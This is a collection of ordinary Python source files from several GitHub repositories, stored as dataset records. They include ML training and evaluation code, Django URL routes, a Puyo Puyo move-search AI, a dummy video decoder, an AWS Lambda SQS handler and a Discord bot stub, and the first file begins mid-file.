_y)\n                    outputs = self._inference(_x)\n                    all_preds.append(outputs)\n                    all_labels.append(_y)\n        elif isinstance(input_data, tuple):\n            X, Y = input_data\n            # TODO: Naive approach to adapt to the tiramisu\n            # case for X Y didn't have the same shape\n            if len(X) != len(Y):\n                _x, _y = X, Y\n                _x, _y = self.data_to_train_device(_x, _y)\n                outputs = self._inference(_x)\n                all_preds.append(outputs)\n                all_labels.append(_y)\n            else:\n                for idx in range(len(Y)):\n                    _x, _y = X[idx], Y[idx]\n                    _x, _y = self.data_to_train_device(_x, _y)\n                    outputs = self._inference(_x)\n                    all_preds.append(outputs)\n                    all_labels.append(_y)\n        # tiramisu, x,y value paris\n        elif isinstance(input_data, list):\n            for idx, (_x, _y) in enumerate(input_data):\n                _x, _y = self.data_to_train_device(_x, _y)\n                outputs = self._inference(_x)\n                all_preds.append(outputs)\n                all_labels.append(_y)\n        else:\n            raise ValueError()\n        outputs = CMOutput.concat(all_preds, 0)\n        labels = torch.cat(all_labels, 0)\n        metrics = self.compute_metrics(outputs, labels, element_wise_test=element_wise_test)\n        metrics[\"loss\"] = float(self.loss(outputs, None, labels).data.cpu().numpy())\n        return outputs, metrics, labels\n    \n    def get_results_df(self, batches_list, log=False):   \n        df = pd.DataFrame()\n        self.model.eval()\n        torch.set_grad_enabled(False)\n        all_outputs=[]\n        all_labels=[]\n\n        for k, (inputs, labels, di) in tqdm(list(enumerate(batches_list))):\n            original_device = labels.device\n            inputs, labels = self.data_to_train_device(inputs, labels)\n            outputs = self.model(inputs)\n            assert outputs.shape == labels.shape\n            all_outputs.append(outputs)\n            all_labels.append(labels)\n            inputs = (inputs[0], inputs[1].to(original_device))\n            labels = labels.to(original_device)\n        preds = torch.cat(all_outputs).cpu().detach().numpy().reshape((-1,))\n        labels = torch.cat(all_labels).cpu().detach().numpy().reshape((-1,))\n        preds = np.around(np.abs(preds), decimals=6)\n        labels = np.around(labels, decimals=6)\n\n        ### Denormalization\n        preds = self.data_meta_info.de_standardize_output(preds)\n        labels = self.data_meta_info.de_standardize_output(labels)\n                                                \n        assert preds.shape == labels.shape \n        df['prediction'] = np.array(preds)\n        df['labels'] = np.array(labels)\n        df['abs_diff'] = np.abs(preds - labels)\n        df['RMSE'] = np.sqrt(np.abs(np.power(preds-labels, 2)))\n        df['MAPE'] = np.abs(df.labels - df.prediction) / df.labels * 100\n        \n        describe = df.describe()\n        # print(df)\n        print(describe)\n\n        return df\n\n    def save(self, path=None):\n        _path = path if path is not None else self.cache_path\n        if _path is None:\n            return\n        super(RecurLSTMLearner, self).save(_path)\n        torch.save(self.model, os.path.join(_path, \"Model_Recursive_LSTM_v2.torch\"))\n\n    def load(self, path=None):\n        _path = path if path is not None else self.cache_path\n        super(RecurLSTMLearner, self).load(_path)\n        self.model = torch.load(os.path.join(_path, \"Model_Recursive_LSTM_v2.torch\"))\n        self.init_device()\n    \n    def _init_loss_func(self):\n        warn_once(f\"{self.__class__.__name__} init loss function when the object is created\")\n        \n\ndef test_tiramisu(files_or_dir, learning_params):\n    if isinstance(files_or_dir, str):\n        root_path, _, files = list(os.walk(files_or_dir))[0]\n        files = [os.path.join(root_path, f) for f in files if f.endswith(\".npy\")]\n    elif isinstance(files_or_dir, list):\n        files = files_or_dir\n    elif isinstance(files_or_dir, dict): # fix: tiramisu\n        files = files_or_dir['tasks'][1]\n    else:\n        raise\n    raw_data = load_raw_data(files, learning_params, verbose=True, force=True)\n    print(f\"Raw data size (before pre-processing): {raw_data.size}\")\n    raw_data.preprocess(time_lb=learning_params[\"ave_lb\"], verbose=True)\n    print(f\"Raw data size (after pre-processing): {raw_data.size}\")\n    if learning_params[\"disable_norm\"]:\n        warn_once(\"Disable normalization\")\n        raw_data.metainfo.to_norm_input = False\n        raw_data.metainfo.to_norm_output = False\n    else:\n        raw_data.metainfo.tsfm_hub.parse_y_norm_method(\"std\", None, {\n            \"avg\": raw_data.metainfo.output_avg, \"std\": raw_data.metainfo.output_std})\n        raw_data.metainfo.tsfm_hub.parse_x_norm_method(\"min-max\", None, {\n            \"min\": raw_data.metainfo.input_min, \"max\": raw_data.metainfo.input_max})\n        raw_data.metainfo.tsfm_hub.print()\n\n    dataset, val_batches_list, val_batches_indices, train_batches_list, train_batches_indices = load_ast_dataset(raw_data, train_device, store_device)\n\n    ### debug\n    # avg, std, flops, ast_features, node_ids, serialized_tree = xydata[0]\n    # ast = AST.deserialize_tree(serialized_tree)\n    # print(node_ids)\n    # print(serialized_tree)\n    # print(ast)\n    \n    bl_dict = {'train': train_batches_list, 'val': val_batches_list}\n    # here, please careful that LSTM learning rate could be different from the previous. Change input config if necessary.\n    learner = RecurLSTMLearner(\n        learning_params[\"disable_norm\"], learning_params[\"loss_func\"],\n        residual=learning_params[\"residual\"],\n        data_meta_info = raw_data.metainfo,\n        cache_path=learning_params[\"cache_dir\"],\n        debug=learning_params[\"debug\"],\n        tb_log_dir=learning_params[\"tb_logdir\"],\n        )\n\n    if learning_params[\"load_cache\"]:\n        if not read_yes(f\"Load cost model at {learner.cache_path}\"):\n                exit(0)\n        learner.load()\n\n    learner.train_model(dataloader_dict=bl_dict, num_epochs=10000, log_every=1)\n    # Basic results on the test and validation set\n    val_df = learner.get_results_df(val_batches_list)\n","repo_name":"joapolarbear/cdmpp","sub_path":"metalearner/learner/recur_lstm_learner.py","file_name":"recur_lstm_learner.py","file_ext":"py","file_size_in_byte":12092,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"}
{"seq_id":"20030593082","text":"import os\nimport json\nimport argparse\n\nimport numpy as np\nimport torch\nfrom torch.utils.data import DataLoader\nfrom torch.utils.tensorboard import SummaryWriter\n\nfrom libs.transforms import get_transform\nfrom libs.dataloader import SplitTableDataset\nfrom libs.model import SplitModel\nfrom libs.losses import split_loss\n\nimport time\n\nfrom termcolor import cprint\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n\n    parser.add_argument(\n        \"--train_dir\",\n        help=\"Path to training data.\",\n        required=True,\n    )\n    parser.add_argument(\n        \"--val_dir\",\n        help=\"Path to validation data.\",\n        required=True,\n    )\n    parser.add_argument(\n        \"-o\",\n        \"--output_weight_path\",\n        dest=\"output_weight_path\",\n        help=\"Output folder path for model checkpoints and summary.\",\n        required=True,\n    )\n    parser.add_argument(\n        \"-e\",\n        \"--num_epochs\",\n        type=int,\n        dest=\"num_epochs\",\n        help=\"Number of epochs.\",\n        default=10,\n    )\n    # parser.add_argument(\n    #     \"-s\",\n    #     \"--save_every\",\n    #     type=int,\n    #     dest=\"save_every\",\n    #     help=\"Save checkpoints after given epochs\",\n    #     default=50,\n    # )\n    parser.add_argument(\n        \"--log_every\",\n        type=int,\n        dest=\"log_every\",\n        help=\"Print logs after every given steps\",\n        default=10,\n    )\n    parser.add_argument(\n        \"--val_every\",\n        type=int,\n        dest=\"val_every\",\n        help=\"perform validation after given steps\",\n        default=1,\n    )\n    parser.add_argument(\n        \"--lr\",\n        \"--learning_rate\",\n        type=float,\n        dest=\"learning_rate\",\n        help=\"learning rate\",\n        default=0.00075,\n    )\n    parser.add_argument(\n        \"--dr\",\n        \"--decay_rate\",\n        type=float,\n        dest=\"decay_rate\",\n        help=\"weight decay rate\",\n        default=0.5,\n    )\n    parser.add_argument(\n        \"--augment_tables\",\n        action=\"store_true\",\n        help=\"Apply augmentation on the tables\"\n    )\n    parser.add_argument(\n        \"--classical_augment\",\n        action=\"store_true\",\n        help=\"Apply classical augmentations (cropping etc) on the tables\"\n    )\n    parser.add_argument(\n        \"--resume\",\n        action=\"store_true\",\n        help=\"Continue training from \\\"last_model.pth\\\" in output_weight_path.\"\n    )\n    parser.add_argument(\n        \"--load_model_from\",\n        help=\"Path to model file to fine-tune from.\"\n    )\n\n    configs = parser.parse_args()\n    configs.__dict__['lr_step'] = 15\n\n    print(25 * \"=\", \"Configuration\", 25 * \"=\")\n    print(\"Train Directory:\\t\", configs.train_dir)\n    print(\"Validation Directory:\\t\", configs.val_dir)\n    print(\"Output Weights Path:\\t\", configs.output_weight_path)\n    # print(\"Validation Split:\\t\", configs.validation_split)\n    print(\"Number of Epochs:\\t\", configs.num_epochs)\n    print(\"Continue:\\t\", configs.resume)\n    print(\"Fine-tune from:\\t\", configs.load_model_from)\n    # print(\"Save Checkpoint Frequency:\", configs.save_every)\n    print(\"Log after:\\t\", configs.log_every)\n    print(\"Validate after:\\t\", configs.val_every)\n    print(\"Batch Size:\\t\", 1)\n    print(\"Learning Rate:\\t\", configs.learning_rate)\n    print(\"Decay Rate:\\t\", configs.decay_rate)\n    print(\"Augmentation:\\t\", configs.augment_tables)\n    print(\"Classical Augmentation:\\t\", configs.classical_augment)\n    print(65 * \"=\")\n\n    if configs.resume and configs.load_model_from:\n        print(\"Error! Flags \\\"resume\\\" and \\\"load_model_from\\\" cannot both be set at the same time.\")\n        exit(0)\n\n    batch_size = 1\n    learning_rate = configs.learning_rate\n\n    MODEL_STORE_PATH = configs.output_weight_path\n\n    # train_images_path = configs.train_images_dir\n    # train_labels_path = configs.train_labels_dir\n\n    cprint(\"Loading dataset...\", \"blue\", attrs=[\"bold\"])\n    train_dataset = SplitTableDataset(\n        configs.train_dir,\n        fix_resize=False,\n        augment=configs.augment_tables,\n        classical_augment=configs.classical_augment\n    )\n    val_dataset = SplitTableDataset(\n        configs.val_dir,\n        fix_resize=False,\n        augment=False\n    )\n\n    # split the dataset in train and test set\n    torch.manual_seed(1)\n    # indices = torch.randperm(len(dataset)).tolist()\n\n    # test_split = int(configs.validation_split * len(indices))\n\n    # train_dataset = torch.utils.data.Subset(dataset, indices[test_split:])\n    # val_dataset = torch.utils.data.Subset(val_dataset, indices[:test_split])\n\n    # define training and validation data loaders\n    train_loader = DataLoader(\n        dataset=train_dataset, batch_size=batch_size, shuffle=True, num_workers=1\n    )\n    val_loader = DataLoader(dataset=val_dataset, batch_size=batch_size, shuffle=False)\n\n    device = torch.device(\"cuda\") if torch.cuda.is_available() else torch.device(\"cpu\")\n    cprint(\"Creating split model...\", \"blue\", attrs=[\"bold\"])\n    model = SplitModel().to(device)\n\n    criterion = split_loss\n    optimizer = torch.optim.Adam(model.parameters(), lr=learning_rate)\n    lr_scheduler = torch.optim.lr_scheduler.StepLR(\n        optimizer, step_size=configs.lr_step, gamma=configs.decay_rate\n    )\n\n    if configs.resume and os.path.exists(MODEL_STORE_PATH):\n        print(\"==============Resuming training from last checkpoint==============\")\n        checkpoint = torch.load(os.path.join(MODEL_STORE_PATH, \"last_model.pth\"))\n        lr_scheduler.load_state_dict(checkpoint['scheduler'])\n        model.load_state_dict(checkpoint['model_state_dict'])\n        optimizer.load_state_dict(checkpoint['optimizer_state_dict'])\n        start_epoch = checkpoint['epoch']\n        best_val_loss = checkpoint['best_val_loss']\n    else:\n        os.makedirs(MODEL_STORE_PATH)\n\n        with open(os.path.join(MODEL_STORE_PATH, \"config.json\"), 'w') as fp:\n            json.dump(configs.__dict__, fp, sort_keys=True, indent=4)\n        start_epoch = 0\n        best_val_loss = 10000.\n\n    if configs.load_model_from:\n        print(\"=========Loading model from {}=========\".format(configs.load_model_from))\n        checkpoint = torch.load(configs.load_model_from)\n        model.load_state_dict(checkpoint['model_state_dict'])\n\n    num_epochs = configs.num_epochs\n\n    # create the summary writer\n    writer = SummaryWriter(os.path.join(MODEL_STORE_PATH, \"summary\"))\n\n    # Train the model\n    total_step = len(train_loader)\n\n    print(27 * \"=\", \"Training\", 27 * \"=\")\n\n    step = 0\n\n    val_iter = iter(val_loader)\n\n    time_stamp = time.time()\n    for epoch in range(start_epoch, num_epochs):\n\n        for i, (images, targets, img_path, _, _) in enumerate(train_loader):\n            images = images.to(device)\n\n            model.train()\n            # incrementing step\n            step -= -1\n\n            targets[0] = targets[0].long().to(device)\n            targets[1] = targets[1].long().to(device)\n\n            # Backprop and perform Adam optimisation\n            optimizer.zero_grad()\n\n            # Run the forward pass\n            outputs = model(images.to(device))\n            loss, rpn_loss, cpn_loss = criterion(outputs, targets)\n\n            loss.backward()\n            optimizer.step()\n\n            if (i + 1) % configs.log_every == 0:\n                # writing loss to tensorboard\n                writer.add_scalar(\n                    \"total loss train\", loss.item(), (epoch * total_step + i)\n                )\n                writer.add_scalar(\n                    \"rpn loss train\", rpn_loss.item(), (epoch * total_step + i)\n                )\n                writer.add_scalar(\n                    \"cpn loss train\", cpn_loss.item(), (epoch * total_step + i)\n                )\n                # cprint(\"Iteration: \", \"green\", attrs=[\"bold\"], end=\"\")\n                # print(step)\n                # cprint(\"Learning Rate: \", \"green\", attrs=[\"bold\"], end=\"\")\n                # print(lr_scheduler.get_last_lr()[0])\n                print(\n                    \"Epoch [{}/{}], Step [{}/{}], Train Loss: {:.4f}, RPN Loss: {:.4f}, CPN Loss: {:.4f}, Learning Rate: {:.6f}, Time taken: {:.2f}s\".format(\n                        epoch + 1,\n                        num_epochs,\n                        i + 1,\n                        total_step,\n                        loss.item(),\n                        rpn_loss.item(),\n                        cpn_loss.item(),\n                        lr_scheduler.get_last_lr()[0],\n                        time.time() - time_stamp\n                    )\n                )\n                time_stamp = time.time()\n\n            # if (step + 1) % configs.save_every == 0:\n        lr_scheduler.step()\n\n        if (epoch + 1) % configs.val_every == 0:\n            print(65 * \"=\")\n            print(\"Saving model weights at epoch\", epoch + 1)\n            model.eval()\n            val_loss_list = []\n            cpn_loss_list = []\n            rpn_loss_list = []\n            for val_batch in val_loader:\n                with torch.no_grad():\n                    val_images, val_targets, _, _, _ = val_batch\n\n                    val_targets[0] = val_targets[0].long().to(device)\n                    val_targets[1] = val_targets[1].long().to(device)\n\n                    val_outputs = model(val_images.to(device))\n                    val_loss, val_rpn_loss, val_cpn_loss = criterion(\n                        val_outputs, val_targets\n                    )\n\n                    val_loss_list.append(val_loss.item())\n                    rpn_loss_list.append(val_rpn_loss.item())\n                    cpn_loss_list.append(val_cpn_loss.item())\n\n            writer.add_scalar(\"total loss val\", sum(val_loss_list) / len(val_loss_list), epoch)\n            writer.add_scalar(\"rpn loss val\", sum(rpn_loss_list) / len(val_loss_list), epoch)\n            writer.add_scalar(\"cpn loss val\", sum(cpn_loss_list) / len(val_loss_list), epoch)\n            torch.save(\n                {\n                    \"epoch\": epoch + 1,\n                    \"best_val_loss\": best_val_loss,\n                    \"scheduler\": lr_scheduler.state_dict(),\n                    # \"iteration\": step + 1,\n                    \"model_state_dict\": model.state_dict(),\n                    \"optimizer_state_dict\": optimizer.state_dict(),\n                    # \"config\": configs\n                },\n                os.path.join(MODEL_STORE_PATH, \"last_model.pth\"),\n            )\n\n            print(\"-\"*25)\n            print(\"Validation Loss :\", sum(val_loss_list) / len(val_loss_list))\n            print(\"-\"*25)\n\n            if best_val_loss > sum(val_loss_list) / len(val_loss_list):\n                with open(os.path.join(MODEL_STORE_PATH, \"best_epoch.txt\"), 'w') as f:\n                    f.write(str(epoch))\n                best_val_loss = sum(val_loss_list) / len(val_loss_list)   \n                torch.save(\n                    {\n                        \"epoch\": epoch + 1,\n                        # \"iteration\": step + 1,\n                        \"model_state_dict\": model.state_dict(),\n                        \"optimizer_state_dict\": optimizer.state_dict(),\n                        # \"config\": configs\n                    },\n                    os.path.join(MODEL_STORE_PATH, \"best_model.pth\"),\n                )   \n\n        print(65 * \"=\")\n\n        torch.cuda.empty_cache()","repo_name":"sohaib023/tabaug-testing","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":11236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"1589190478","text":"from django.conf.urls import url, include\nfrom . import views as userViews \n\n# from django.contrib.auth.views import password_reset, password_reset_done, password_reset_confirm\nfrom django.contrib.auth import views as auth_views\nurlpatterns = [\n    url(r'^$', userViews.index, name='index'),\n    url(r'^login$', userViews.signin, name='login'),\n    url(r'^logout$', userViews.signout, name='logout'),\n    url(r'^signup$', userViews.signup, name='signup'),\n    url(r'^profile$', userViews.profile, name='profile'),\n    url(r'^profile/edit$', userViews.editProfile, name='editProfile'),\n    url(r'^bookmarks$', userViews.bookmarkHandler, name='bookmarks'),\n]\n","repo_name":"rafaellichen/Recycling-System","sub_path":"users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"73543078761","text":"import helpers\nimport copy\n\nclass AndNode:\n\n    # constructs the problem \n    def __init__(self,board,buffer, score, moveset):    \n        self.board = board # the board representation at this state\n        self.buffer = buffer # the buffer of 'known' pieces\n        self.depth = 0 # keeps track of how 'deep' (ie: how many moves in the future) this node has computed        \n        self.score_accumulated = score # the score accumulated up to this point in the search\n        self.moves = moveset\n    # the division relation (splits the problem into different choices)\n    def div(self):\n\n        new_instances = [] # the list of new problem instances to be considered by the search\n\n        piece = self.buffer[0]\n        # need to flip the piece?\n        piece = (piece[1], piece[0])\n        board = self.board\n        if piece[0] == piece[1]:\n            # if the colors are identical, we need to consider this. \n            # only 2w - 1 moves to consider\n\n            # simulate moves 2w-1, add the new problem instances to collection\n\n            # first, simulate the vertical moves \n            \n            for i in range(len(board[0])):\n                b = helpers.place(board,piece[0],i)\n                b = helpers.place(b,piece[0],i)\n                new_instances.append((b,(i,1))) # add the new board to the new list of problem instances\n            \n            # then, simulate the horizontal moves\n            for i in range(len(board[0])-1):\n                b2 = helpers.place(board,piece[0],i)\n                b2 = helpers.place(b2,piece[0],i+1)\n                new_instances.append((b2,(i,2)))\n\n        else: \n            # otherwise, parse the move regularly \n            # must consider 4w-2 moves \n            board_width = len(board[0])\n            # first, simulate the vertical moves (both directions)\n            for i in range(len(board[0])):\n                b = helpers.place(board,piece[0],i)\n                b = helpers.place(b,piece[1],i)\n                new_instances.append((b,(i,1))) # add the new board to the new list of problem instances\n                b2 = helpers.place(board,piece[1],i)\n                b2 = helpers.place(b2, piece[0],i)\n                new_instances.append((b2,(i,3))) # add the new board to the new list of problem instances\n            # second, simulate the horizontal moves (both directions)\n            for i in range(len(board[0])-1):\n                b = helpers.place(board,piece[0],i)\n                b = helpers.place(b,piece[1],i+1)\n                new_instances.append((b,(i,2))) # add the new board to the new list of problem instances\n                b2 = helpers.place(board,piece[1],i)\n                b2 = helpers.place(b2, piece[0],i+1)\n                new_instances.append((b2,(i,4))) # add the new board to the new list of problem instances\n            # simulate moves 1..4w-2, add the new problem instances to the collection\n\n            # returns column and rotation that the piece should be placed in \n            # rotations: 1 = upright, 2 = horizontal, left, 3 = downwards, 4 = horizontal, right\n\n\n        return new_instances\n\n        \n    def advance(self,stack, ap):\n        # terminate if the buffer is empty\n        if len(self.buffer) == 0:\n            return\n        # take the next element from the buffer\n        new_buffer = copy.deepcopy(self.buffer)\n        # take the next piece\n        next_piece = new_buffer.pop(0)\n\n        # pass it through div to find the next boards\n        new_boards = self.div() \n\n        # create the proper search instances for them\n        for pair in new_boards:\n            # for each board, create a revised node \n            '''\n            print()\n            for x in b:\n                print(x)\n            print()\n            '''\n            b = pair[0]\n            move = pair[1]\n            new_moves = copy.deepcopy(self.moves)\n            new_moves.append(move) # add the taken move to the list of moves\n            b2, local_score = helpers.projected_score(b,ap) # returns the corrected board after removing chains, as well as score added by chain\n            local_score += self.score_accumulated \n            node = AndNode(b,new_buffer, local_score, new_moves) # create the new and node \n            # add them to the stack depending on search control (right now, just exhaustive search)\n            stack.push(node)\n        \n\n\nclass Search:\n    def __init__(self,board, buffer):\n        # create a new search, with the board\n        self.ap = helpers.AttackPowers().chain_powers # loads the list of attack powers to be used in scoring\n        self.root = AndNode(board,buffer,0, []) # creates the root of the and search tree being used\n        self.leaves = helpers.Stack() # a stack that will contain the leaves of the tree that will need to be searched. \n    # search\n    def search(self):\n        print('starting the search')\n        # perform the search\n        # some constraints to keep in mind: \n        #   - items added to the stack need to be done so in the correct order (higher priority to more promising leaves)\n        print('active buffer', self.root.buffer)\n        print('board')\n        helpers.print_board(self.root.board)\n        self.root.advance(self.leaves, self.ap) # advance the search\n                \n        best_score = 0\n        best = self.root\n\n        while self.leaves.length() != 0:\n\n            # continue to search\n            current_state = self.leaves.pop() # get the next search state\n            \n\n            if current_state.score_accumulated > best_score: # check it's score\n                best_score = current_state.score_accumulated # update the best score\n                best = current_state # update the best_move\n\n\n\n            current_state.advance(self.leaves, self.ap)\n        return best\n        \n\n\n\n\n\n\n","repo_name":"dylanleclair/PuyoPuyoCrusher","sub_path":"game/ai.py","file_name":"ai.py","file_ext":"py","file_size_in_byte":5806,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"24914497896","text":"from __future__ import annotations\n\nimport logging\nfrom fractions import Fraction\nfrom pathlib import Path\n\nimport torch\nimport torch.utils.data\nfrom pytorchvideo.data.video import Video\n\nlogger = logging.getLogger(__name__)\n\n\nclass DumbSoccerNetVideo(Video):\n    \"\"\"DumbSoccerNetVideo is an abstractions for accessing clips based on their start and end time for a video\n    where each frame is randomly generated.\n\n    Args:\n        video_path: The path of the video.\n        half_path: The path of the half.\n        duration: The duration of the video in seconds.\n        fps_video: The fps of the video.\n        fps: The target fps for the video. This is needed to link the frames\n            to a second timestamp in the video.\n        num_frames: The number of frames of the video.\n        min_clip_duration: The minimum duration of a clip.\n        num_decode: Number of duplicate output clip.\n    \"\"\"\n\n    def __init__(\n        self,\n        video_path: str | Path,\n        half_path: str | Path,\n        duration: float,\n        fps_video: int,\n        fps: int,\n        num_frames: int,\n        min_clip_duration: float,\n        num_decode: int,\n        **kwargs,\n    ) -> None:\n\n        self._duration = duration\n        self._fps_video = fps_video\n        self._fps = fps\n\n        self._different_fps = self._fps_video != self._fps\n\n        assert self._fps_video >= self._fps\n\n        self._num_frames = num_frames\n\n        self._video_path = video_path\n        self._half_path = half_path\n        self._name = Path(Path(self._video_path).name) / Path(self._half_path.name)\n        self._min_clip_duration = min_clip_duration\n        self._num_decode = num_decode\n\n    @property\n    def name(self) -> str:\n        \"\"\"The name of the video.\"\"\"\n        return self._name\n\n    @property\n    def duration(self) -> float:\n        \"\"\"The video's duration/end-time in seconds.\"\"\"\n        return self._duration\n\n    def _get_frame_index_for_time(self, time_sec: float, fps: int) -> int:\n        return round(fps * time_sec)\n\n    def get_timestamps_and_frame_indices(\n        self,\n        start_sec: float,\n        end_sec: float,\n    ) -> tuple[torch.Tensor, torch.Tensor]:\n        \"\"\"Retrieves timestamps and frame indices from the stored video at the specified start and end times in\n        seconds.\n\n        Args:\n            start_sec: The clip start time in seconds\n            end_sec: The clip end time in seconds\n\n        Returns:\n            The timestamps and the frame indices.\n        \"\"\"\n        if start_sec < 0 or start_sec > self._duration or end_sec > self._duration:\n            logger.warning(\n                f\"No frames found within {start_sec} and {end_sec} seconds. Video starts\"\n                f\"at time 0 and ends at {self._duration}.\"\n            )\n            return None\n\n        frac_fps = Fraction(self._fps)\n        frac_fps_video = Fraction(self._fps_video)\n        over_frac_fps_video = Fraction(1, frac_fps_video)\n\n        # Round the clip start_sec and end_sec to the fps possible values\n        start_sec = Fraction(Fraction(int(start_sec * self._fps)), frac_fps)\n        end_sec = Fraction(Fraction(int(end_sec * self._fps)), frac_fps)\n\n        if self._different_fps:\n            # Round the clip start_sec and end_sec to the fps video possible values\n            if start_sec % self._fps_video != 0:\n                start_sec = Fraction(\n                    Fraction(int(start_sec * self._fps_video)), frac_fps_video\n                )\n            if end_sec % over_frac_fps_video != 0:\n                end_sec = Fraction(\n                    Fraction(int(end_sec * self._fps_video)), frac_fps_video\n                )\n\n        start_frame_index = self._get_frame_index_for_time(start_sec, self._fps_video)\n        end_frame_index = self._get_frame_index_for_time(end_sec, self._fps_video)\n        fps_video_frame_indices = torch.arange(start_frame_index, end_frame_index)\n\n        timestamps = fps_video_frame_indices * float(over_frac_fps_video)\n\n        if self._different_fps:\n            keep_indices = torch.tensor(\n                [\n                    i\n                    for i in range(0, self._fps_video)\n                    for j in range(0, self._fps)\n                    if round(Fraction(frac_fps_video, frac_fps) * j) - i == 0\n                ]\n            )\n            keep_timestamp = torch.isin(\n                fps_video_frame_indices % self._fps_video, keep_indices\n            )\n\n            fps_video_frame_indices = fps_video_frame_indices[keep_timestamp]\n            timestamps = timestamps[keep_timestamp]\n\n            # Round the timestamps back to the fps possible values.\n            timestamps = (timestamps * self._fps).round() / self._fps\n\n            frame_indices = (\n                torch.arange(timestamps[0] * self._fps, timestamps[-1] * self._fps + 1)\n                .round()\n                .to(dtype=torch.long)\n            )\n\n        else:\n            frame_indices = fps_video_frame_indices\n\n        if (\n            self._min_clip_duration > 0\n            and len(frame_indices) < self._min_clip_duration * self._fps\n        ):\n            num_lacking_frames = self._min_clip_duration * self._fps - len(\n                frame_indices\n            )\n            if start_frame_index == 0:\n                fps_video_frame_indices = torch.cat(\n                    [\n                        torch.zeros(\n                            num_lacking_frames, dtype=fps_video_frame_indices.dtype\n                        ),\n                        fps_video_frame_indices,\n                    ]\n                )\n                frame_indices = torch.cat(\n                    [\n                        torch.zeros(num_lacking_frames, dtype=frame_indices.dtype),\n                        frame_indices,\n                    ]\n                )\n                timestamps = torch.cat(\n                    [\n                        torch.zeros(num_lacking_frames, dtype=timestamps.dtype),\n                        timestamps,\n                    ]\n                )\n            else:\n                fps_video_frame_indices = torch.cat(\n                    [\n                        fps_video_frame_indices,\n                        torch.tensor(\n                            [\n                                fps_video_frame_indices[-1]\n                                for _ in range(num_lacking_frames)\n                            ],\n                            dtype=fps_video_frame_indices.dtype,\n                        ),\n                    ]\n                )\n                frame_indices = torch.cat(\n                    [\n                        frame_indices,\n                        torch.tensor(\n                            [frame_indices[-1] for _ in range(num_lacking_frames)],\n                            dtype=frame_indices.dtype,\n                        ),\n                    ]\n                )\n                timestamps = torch.cat(\n                    [\n                        timestamps,\n                        torch.tensor(\n                            [timestamps[-1] for _ in range(num_lacking_frames)],\n                            dtype=timestamps.dtype,\n                        ),\n                    ]\n                )\n\n        return timestamps, frame_indices, fps_video_frame_indices\n\n    def get_clip(\n        self,\n        start_sec: float,\n        end_sec: float,\n    ) -> dict[str, torch.Tensor | None | list[torch.Tensor]]:\n        \"\"\"Retrieves frames from the stored video at the specified start and end times in seconds (the video always\n        starts at 0 seconds). Returned frames will be in [start_sec, end_sec). Given that PathManager may be\n        fetching the frames from network storage, to handle transient errors, frame reading is retried N times.\n        Note that as end_sec is exclusive, so you may need to use `get_clip(start_sec, duration + EPS)` to get the\n        last frame.\n\n        Args:\n            start_sec: The clip start time in seconds\n            end_sec: The clip end time in seconds\n\n        Returns:\n            A dictionary containing the clip data and information.\n        \"\"\"\n\n        (\n            timestamps,\n            frame_indices,\n            fps_video_frame_indices,\n        ) = self.get_timestamps_and_frame_indices(start_sec, end_sec)\n\n        videos = torch.randn((3, timestamps.shape[0], 224, 224), dtype=torch.float32)\n\n        if self._num_decode > 1:\n            videos = [videos for _ in range(self._num_decode)]\n\n        return {\n            \"video\": videos,\n            \"clip_start\": timestamps[0].item(),\n            \"clip_end\": timestamps[-1].item(),\n            \"clip_duration\": (timestamps[-1] - timestamps[0]).item(),\n            \"frame_indices\": frame_indices,\n            \"fps_video_frame_indices\": fps_video_frame_indices,\n            \"timestamps\": timestamps,\n        }\n","repo_name":"juliendenize/eztorch","sub_path":"eztorch/datasets/decoders/dumb_soccernet_video.py","file_name":"dumb_soccernet_video.py","file_ext":"py","file_size_in_byte":8840,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"18"}
{"seq_id":"37043218412","text":"import json\nimport os\n\nfrom aws_lambda_powertools.utilities.batch import sqs_batch_processor\nfrom aws_lambda_powertools.utilities.idempotency import (\n    DynamoDBPersistenceLayer,\n    IdempotencyConfig,\n    idempotent_function,\n)\n\npersistence_layer = DynamoDBPersistenceLayer(table_name=os.getenv(\"IDEMPOTENCY_STORE_TABLE_NAME\"))\n\nconfig = IdempotencyConfig(event_key_jmespath=\"body\")\n\n\n@idempotent_function(data_keyword_argument=\"record\", config=config, persistence_store=persistence_layer)\ndef record_handler(record):\n    print(f\"メッセージ毎の処理するよ！{json.dumps(record['body'])}\")\n    return record\n\n\n@sqs_batch_processor(record_handler=record_handler)\ndef handler(event, context):\n    print(f\"ハンドラーだよ!{json.dumps([x['body'] for x in event['Records']])}\")\n    return {\"statusCode\": 200}\n","repo_name":"sisi100/cdk_sqs_idempotency_lambda","sub_path":"lambda_app/index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"22671664595","text":"import sys\nimport asyncio\nfrom os import path\nsys.path.append(path.dirname(path.dirname(path.abspath(__file__))).replace(\"ext/\",\"\"))\nfrom utils import *\nfrom .lib import gameclasses\n\nHELP=\"\"\"\\\n`ext.game`\n```bash\nHey, look away.\nThis shit is still in development, yo.\n```\n\"\"\"\n\nasync def getResponse(self,bot,message,responsecheck):\n    uid=message.author.id\n    answer = await bot.wait_for_message(\n            timeout=15.0,\n            author=message.author,\n            check=responsecheck\n            )\n    if answer is None:\n        await bot.send_message(\n                message.channel,\n                \"Sorry, I got bored waiting. You'll have to be faster next time.\"\n                )\n    return answer\n\nasync def digest(message,bot):\n    if not (message.channel.name==\"botdev\" or message.channel.is_private):\n        return\n    if message.content[0] in bot.commandPrefix:\n        user=message.author.id\n        tokens=tokenize(message)\n        tokens[0]=tokens[0][1:]\n\t\t# do stuff here\n    return\n","repo_name":"nhammond129/polybot","sub_path":"ext/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":1006,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
